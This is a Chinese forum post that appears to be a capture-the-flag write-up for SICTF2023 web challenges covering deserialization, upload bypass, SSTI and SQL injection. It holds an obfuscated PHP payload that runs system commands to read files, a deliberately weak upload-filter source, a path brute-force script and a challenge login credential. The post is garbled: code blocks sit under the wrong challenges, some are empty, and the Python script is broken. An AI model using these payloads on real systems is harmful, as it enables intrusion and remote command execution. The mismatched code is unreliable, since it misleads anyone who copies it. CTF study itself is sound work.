SICTF2023 web_wp

打印 上一主题 下一主题

主题 840|帖子 840|积分 2520

兔年大吉
源码如下
  1. [/code]挺基础的一个反序列化,先找pop链:
  2. Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call简单写一下代码:[code]
复制代码
直接打就行了
 ezbypass
源码如下:
  1. [/code]纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了
  2. 这里注意手速一定要快,要不然要多爆破好久,检验代码如下:
  3. [code]code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*
复制代码
得到文件后,就是常规的getshell了。
 
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤
把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:
  1. <?php
  2.     @error_reporting(0);
  3.     date_default_timezone_set('America/Los_Angeles');
  4.     highlight_file(__FILE__);
  5.     if (isset($_POST['submit'])){
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext);
  10.         if (!in_array($file_ext, $black)){
  11.             $temp_file = $_FILES['upload_file']['tmp_name'];
  12.             $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
  13.             if (move_uploaded_file($temp_file, $img_path)) {
  14.                     $is_upload = true;
  15.             } else {
  16.                 $msg = '上传出错!';
  17.             }
  18.         }else {
  19.             $msg = '你传啥玩意??';
  20.         }
  21.     }
  22.     if($is_upload){
  23.         echo '呀,(传)进去了欸~';
  24.     }
  25. ?>
复制代码
还是挺简单的
 
ezphp
开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:
  1. import requests
  2. url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'
  3. for i in range('本地文件名', '比本地文件名大就行'):
  4.     urls = url + str(i) + ".php"
  5.     r = requests.get(url)
  6.     if r.status_code == 404:
  7.         continue
  8.     else:
  9.         print(urls)
复制代码

账号密码admin:0909876qwe222
我们登录进去,随便输点东西,得到源代码:
[code][/code]
 
 这样就getshell了
总结
web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表